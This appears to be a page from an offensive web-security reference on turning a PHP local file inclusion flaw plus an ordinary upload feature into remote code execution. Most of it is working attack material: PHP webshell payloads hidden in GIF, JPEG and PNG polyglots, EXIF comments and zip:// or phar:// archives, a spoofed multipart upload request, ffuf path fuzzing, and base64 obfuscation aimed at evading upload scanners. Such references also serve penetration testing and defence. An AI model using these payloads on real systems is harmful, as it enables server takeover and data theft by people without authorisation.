File-upload chain
When the application accepts uploads (avatar, attachment, document) and has an LFI sink that executes files, include the uploaded file. The upload doesn’t need to be vulnerable - any upload that ends up on disk works.
# 1. Embed PHP in a file that looks like an imageecho 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
# 2. Upload via the application's normal upload feature# (file is now at /profile_images/shell.gif or similar)
# 3. Include via LFI - inclusion sink executes PHP regardless of extension?page=./profile_images/shell.gif&cmd=id
# Alternate transports when raw image upload is filtered?page=zip://./uploads/shell.zip%23inner.php&cmd=id # zip:// wrapper?page=phar://./uploads/shell.phar/inner.txt&cmd=id # phar:// wrapperSuccess indicator: command output in the response after triggering the LFI on the uploaded file.
Why this works
Section titled “Why this works”The key property: the LFI sink decides what’s PHP based on content, not extension. When the function is include() or require(), any file containing <?php ... ?> will execute the PHP code - regardless of whether the file is named .gif, .jpg, .pdf, or .txt.
This means the file upload feature doesn’t need a vulnerability. The web framework’s “this is just an image” check has no bearing on what include() does with the file later. If you can:
- Get a file with PHP code onto disk anywhere the LFI can reach, and
- Find its path,
…you have RCE.
This chain is the most reliable LFI-to-RCE path on PHP apps because it doesn’t require allow_url_include and doesn’t depend on which wrappers are loaded.
Step 1 - Craft the malicious image
Section titled “Step 1 - Craft the malicious image”Combine valid image bytes (the “magic bytes” identifying the file type) with PHP code:
# GIF - magic bytes "GIF8" are valid ASCII, easiest to handcraftecho 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gifThis file:
- Starts with
GIF8- any image-content sniffer treats it as a (broken but recognizable) GIF - Contains valid PHP code
- Will display as an invalid image in browsers (most don’t error visibly, just show a broken-image icon)
- Will execute as PHP when
include()d
The same technique with other formats:
# JPEG - magic bytes need binary; build with pythonpython3 -c 'import syssys.stdout.buffer.write(b"\xff\xd8\xff\xe0\x00\x10JFIF<?php system($_GET[\"cmd\"]); ?>")' > shell.jpg
# PNG - similar, slightly more byte gymnasticspython3 -c 'import syssys.stdout.buffer.write(b"\x89PNG\r\n\x1a\n<?php system($_GET[\"cmd\"]); ?>")' > shell.pngGIF is preferred for handcrafting because its magic bytes are printable ASCII. JPEG and PNG work but require building the file with a script.
When real-image validation is in place
Section titled “When real-image validation is in place”If the upload check actually decodes the image and verifies dimensions/color depth, the simple “magic bytes + PHP” trick may fail. Workarounds:
-
Embed in image metadata. EXIF tags accept arbitrary text:
Terminal window exiftool -Comment='<?php system($_GET["cmd"]); ?>' real-image.jpgThe image remains a valid JPEG (passes any image library’s check), but the EXIF comment contains PHP. When
include()’d, PHP scans for<?php ... ?>anywhere in the file and executes. -
Append to a real image:
Terminal window cat real-image.png > shell.pngecho '<?php system($_GET["cmd"]); ?>' >> shell.pngThe PNG decoder reads up to the IEND chunk and stops; the trailing PHP is ignored by image decoders but visible to
include().
The File Upload Attacks reference covers more aggressive bypasses (content-type vs. content mismatches, polyglot files). For LFI-chaining purposes, EXIF embedding and trailing-byte appending almost always work.
Step 2 - Upload through normal channels
Section titled “Step 2 - Upload through normal channels”Upload via the application’s intended upload feature. Examples of common upload sinks:
- Profile picture / avatar upload
- Document attachment in tickets, comments, or messages
- Bulk import via CSV
- Logo / brand image in admin settings
- Resume / CV upload in job-board apps
- Image attachment in CMS / wiki edits
You don’t need the upload to be misconfigured. The straightforward use case - “users can upload an avatar” - is enough.
Note on content-type checks
Section titled “Note on content-type checks”Many upload endpoints check the Content-Type header in the request, not the file contents. Set it to match a real image:
POST /upload HTTP/1.1Content-Type: multipart/form-data; boundary=---X
-----XContent-Disposition: form-data; name="file"; filename="avatar.gif"Content-Type: image/gif
GIF8<?php system($_GET["cmd"]); ?>-----X--The Content-Type: image/gif line in the multipart body satisfies most lightweight checks. The actual file contents are still the polyglot.
Step 3 - Find the upload path
Section titled “Step 3 - Find the upload path”You need the on-disk path of the uploaded file to include it. Several ways to find it:
From the application UI
Section titled “From the application UI”After uploading, the file usually displays somewhere - view source:
<img src="/profile_images/shell.gif" class="profile-image">The src attribute is the URL path, which maps directly to the on-disk path in most apps. If the webroot is /var/www/html/ and the URL is /profile_images/shell.gif, the file is at /var/www/html/profile_images/shell.gif.
From the upload response
Section titled “From the upload response”The upload endpoint often returns the path in JSON:
{ "success": true, "path": "/profile_images/shell.gif", "filename": "shell.gif"}From fuzzing
Section titled “From fuzzing”When the path isn’t disclosed, fuzz for common upload directories:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories.txt:FUZZ \ -u "https://target/FUZZ/shell.gif" \ -mc 200Common upload directories:
/uploads//upload//files//attachments//profile_images//avatars//img//static/uploads//public/uploads//user_data//storage//media/Renamed files
Section titled “Renamed files”Some apps rename uploaded files (UUID, hash, sequential ID). The application’s UI usually shows the new name. If not, the upload response or a fuzzer hitting common naming patterns (upload_1.gif, upload_2.gif) sometimes reveals it.
Step 4 - Include via LFI
Section titled “Step 4 - Include via LFI”Combine the path with the LFI sink:
?page=./profile_images/shell.gif&cmd=id?page=../../profile_images/shell.gif&cmd=id # if LFI has a path prefix?page=/var/www/html/profile_images/shell.gif&cmd=id # absolute pathThe inclusion executes the PHP code in the file:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Handling appended extensions
Section titled “Handling appended extensions”When the LFI sink appends .php:
include($_GET['page'] . ".php");The naive ?page=./profile_images/shell.gif becomes ./profile_images/shell.gif.php - doesn’t exist.
Two options:
-
Upload as
shell.phpinstead ofshell.gifif the upload validates extension by exact match:Terminal window echo '<?php system($_GET["cmd"]); ?>' > shell.phpMany uploads accept arbitrary extensions; some don’t. Test.
-
Use a wrapper to bypass the extension append - see wrappers or the
zip:///phar://techniques below.
zip:// chain
Section titled “zip:// chain”Useful when the application accepts .zip uploads (file-attachment features sometimes do):
# Step 1 - create the PHP shellecho '<?php system($_GET["cmd"]); ?>' > shell.php
# Step 2 - zip it, name the archive with an image extensionzip shell.jpg shell.php
# Step 3 - upload shell.jpg
# Step 4 - include via the zip:// wrapper?page=zip://./profile_images/shell.jpg%23shell.php&cmd=idThe URL-encoded %23 is #, which the zip:// wrapper uses to specify the file inside the archive:
zip://./profile_images/shell.jpg#shell.php └── archive path ──┘ └ inner file ┘PHP opens the zip archive, extracts shell.php, runs it.
Caveats
Section titled “Caveats”- Requires the
zipPHP extension. Usually enabled but worth checking viaphp://filteronphp.ini. - Some upload validators detect zip archives via content sniffing even when the extension is
.jpg- they reject based on content type, not extension. Test.
phar:// chain
Section titled “phar:// chain”A PHAR (PHP Archive) is PHP’s executable archive format. Building one with custom contents lets you specify a stub and inner files cleanly.
Step 1 - Build the PHAR
Section titled “Step 1 - Build the PHAR”# Write the script that builds the PHARcat > build-phar.php <<'EOF'<?php$phar = new Phar('shell.phar');$phar->startBuffering();$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->stopBuffering();EOF
# Compile (phar.readonly must be 0 to build)php --define phar.readonly=0 build-phar.php
# Rename for uploadmv shell.phar shell.jpgThe setStub line marks the start of the PHAR data - everything before __HALT_COMPILER() is treated as the script preamble, everything after is the archive payload.
Step 2 - Upload
Section titled “Step 2 - Upload”Step 3 - Include
Section titled “Step 3 - Include”?page=phar://./profile_images/shell.jpg/shell.txt&cmd=idURL-encoded form (some apps URL-decode the path before the wrapper sees it):
?page=phar%3A%2F%2F.%2Fprofile_images%2Fshell.jpg%2Fshell.txt&cmd=idCaveats
Section titled “Caveats”- The PHAR format has more compatibility than zip across PHP setups -
phar://is part of core PHP, no extension required. - File-upload validators sometimes detect the PHAR magic bytes (
<?php __HALT_COMPILER();) and reject. EXIF-embedded PHARs avoid this. - PHAR deserialization is a separate attack class - when an application calls
file_exists()orfilesize()on an attacker-controlledphar://URL, the deserializer triggers and can execute PHP via object instantiation. Outside this section’s scope but worth knowing about.
When the upload directory is non-executable
Section titled “When the upload directory is non-executable”Some apps configure the upload directory to not execute PHP - e.g., .htaccess with php_flag engine off. This stops direct access to the file as a script (https://target/uploads/shell.php?cmd=id doesn’t work), but LFI execution still works because include() doesn’t go through Apache’s mod_php directive resolution - it’s PHP-internal.
This means LFI + upload chain bypasses upload-directory hardening. The chain is robust precisely because the execution doesn’t happen “in” the upload directory - it happens “in” the LFI sink’s directory.
When uploads strip PHP tags
Section titled “When uploads strip PHP tags”A more aggressive defense: the upload endpoint scans contents for PHP tags (<?php, <?=, etc.) and rejects/strips them. Workarounds:
-
Encode the PHP in something the scanner doesn’t decode. Base64-encode the PHP body, then decode at runtime:
<?php eval(base64_decode("c3lzdGVtKCRfR0VUWyJjbWQiXSk7")); ?>The string
"c3lzdGVtKCRfR0VUWyJjbWQiXSk7"issystem($_GET["cmd"]);base64-encoded. If the scanner only looks for tag-adjacent shell commands, the base64 obfuscation passes. -
Use short tags (when enabled):
<?= system($_GET["cmd"]); ?>Some scanners only check for the full
<?phpopening tag. -
Use the
zip://orphar://chain - the PHP code is inside an archive, not at the file’s top level.
Combining with second-order LFI
Section titled “Combining with second-order LFI”When the LFI is indirect (you set a username/path field that the app uses later), the file-upload chain composes:
1. Register with username "../uploads/shell"2. Upload shell.gif via the avatar feature → /uploads/shell.gif3. Trigger any feature that loads "<username>.png" → loads ../uploads/shell.gif (or shell.png if the LFI sink doesn't add extension)The second-order chain is more constrained but works against some hardened apps that don’t allow direct LFI in any obvious parameter.
Detection-only checks
Section titled “Detection-only checks”# Confirm uploads land in a predictable placecurl -F "file=@/path/to/normal.jpg" https://target/upload# Look at the response for path, or fetch /uploads/normal.jpg
# Confirm LFI can reach the upload directorycurl "https://target/?page=./uploads/normal.jpg"# If the JPEG bytes come back, LFI reaches the upload dir - chain is feasible- The chain is the most reliable LFI-to-RCE path. Doesn’t need
allow_url_include, doesn’t need network egress, doesn’t need rare wrappers. Try this first when wrappers fail. - The “image” doesn’t have to be a real image. Apps that don’t decode-and-re-encode uploaded images accept the magic-bytes-prefix trick trivially. The “make a real image” workarounds are only needed when the upload re-encodes the file (less common than you’d think).
.htaccessupload is also a chain primitive. When uploads land in a directory and.htaccessis allowed, uploading a malicious.htaccessfollowed by a PHP file enables PHP execution in the upload directory itself - separate from LFI. Worth knowing for the upload page’s own RCE.- Tomcat / Jetty / ASP.NET equivalents. Java apps with WAR upload and inclusion have the same shape - upload a JSP, include it via the LFI sink. ASP.NET with
.aspxuploads and<!--#include-->sinks similar. The PHP path is documented in detail because that’s the common case; the structure transfers.